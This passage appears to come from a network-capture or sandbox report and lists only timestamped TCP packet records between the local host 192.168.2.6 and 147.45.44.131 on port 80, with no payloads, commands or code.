Jan 2, 2025 19:14:17.464600086 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.466242075 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466248989 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466253996 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466259956 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466268063 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466325045 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.466331005 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466336966 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466342926 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466353893 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466360092 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466365099 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466375113 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466411114 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.466507912 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466512918 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466520071 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466525078 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.466650009 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.466679096 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466685057 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466691971 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466696978 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466702938 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466708899 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466742039 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.466742039 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.466850996 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466856956 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466867924 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466872931 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466878891 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466886044 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466892958 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.466903925 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.466943026 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.466943026 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.467010975 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467024088 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467031002 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467031002 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.467035055 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467058897 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.467118025 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.467356920 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467371941 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467377901 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467384100 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467390060 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467396021 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467432976 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.467432976 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.467467070 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.467498064 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467503071 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467515945 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467526913 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467531919 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467535973 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467541933 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467549086 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467577934 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.467645884 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467652082 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467674017 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467679977 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467679977 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.467691898 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467694044 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467695951 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467705965 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467709064 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.467713118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467762947 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.467794895 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467798948 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.467832088 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.467964888 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.468158960 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468164921 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468307972 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.468311071 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468317032 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468322039 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468327999 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468333006 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468339920 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468386889 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.468386889 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.468501091 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468513966 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468519926 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468524933 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468530893 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468537092 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468543053 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468554020 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468559980 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468566895 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468585014 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.468585014 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.468641996 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468647003 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468658924 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468664885 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468669891 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468676090 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468683004 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468686104 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.468688011 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468693972 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468698978 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.468699932 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468708992 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468751907 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.468790054 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468791962 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.468796968 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468802929 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468810081 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468859911 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.468970060 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468976974 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468982935 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.468993902 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469000101 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469005108 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469010115 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469016075 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469019890 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469026089 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469031096 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469036102 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469042063 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469048023 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469053984 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.469053984 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.469113111 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.469113111 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.469141006 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469146967 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469152927 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469157934 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469165087 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469264030 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.469310045 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469316006 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469320059 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469325066 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469336033 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469341040 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469347000 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469352007 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469355106 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.469357967 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469363928 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469371080 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469376087 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469398022 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469409943 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469415903 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469418049 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.469418049 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.469422102 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469429016 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469434977 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469446898 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469450951 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469458103 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469471931 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.469491959 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.469491959 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.469541073 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469553947 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469559908 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469564915 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469571114 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469575882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469580889 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469587088 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469598055 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469605923 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469613075 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469618082 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469619989 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.469619989 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.469672918 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.469672918 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.469691038 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469749928 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469753981 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469759941 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469765902 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469770908 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469777107 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469789028 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.469811916 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.470025063 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.470613956 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.470618963 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.470623970 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.470660925 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.470666885 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.470691919 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.470699072 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.470705032 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.470711946 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.470721006 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.470803022 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.470879078 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.470885038 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.470890999 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.470896006 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.471035957 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.471039057 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.471046925 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.471051931 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.471057892 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.471069098 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.471076012 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.471086025 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.471102953 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.471108913 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.471115112 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.471126080 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.471132040 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.471132994 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.471132994 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.471132994 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.471138000 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.471146107 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.471158028 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.471164942 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.471206903 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.471206903 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.471245050 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.505259037 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.505268097 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.505281925 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.505289078 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.505295038 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.505301952 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.505307913 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.505314112 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.505362988 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.505362988 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.505444050 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.506974936 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.506979942 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.507050991 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.507057905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.507065058 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.507071018 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.507071972 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.507143021 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.507147074 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.507198095 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.507275105 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.522039890 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.522047043 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.522053003 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.522175074 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.522181034 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.522187948 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.522192955 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.522198915 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.522217989 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.522237062 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.522243977 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.522249937 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.522259951 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.522259951 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.522277117 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.522284031 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.522320032 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.522366047 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.522372961 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.522386074 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.522841930 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.522959948 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.522967100 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.522973061 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.523000002 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.523008108 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.523014069 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.523020029 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.523036957 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.523066998 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.523066998 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.523731947 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.523736954 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.523778915 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.523785114 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.523791075 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.523816109 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.523823023 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.523860931 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.523871899 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.523878098 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.523885012 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.523909092 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.523915052 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.523921013 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.523921013 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.523932934 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.524014950 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.524056911 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524063110 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524070024 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524081945 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524111986 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524117947 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524125099 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524130106 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.524130106 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.524197102 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524204016 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524209976 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524215937 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524249077 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.524269104 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.524370909 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524374962 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524382114 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524394035 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524399996 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524405956 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524427891 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.524473906 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524480104 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524523020 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.524528027 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524535894 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524542093 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524568081 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.524588108 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524594069 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524601936 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.524605989 CET	49728	80	192.168.2.6	147.45.44.131
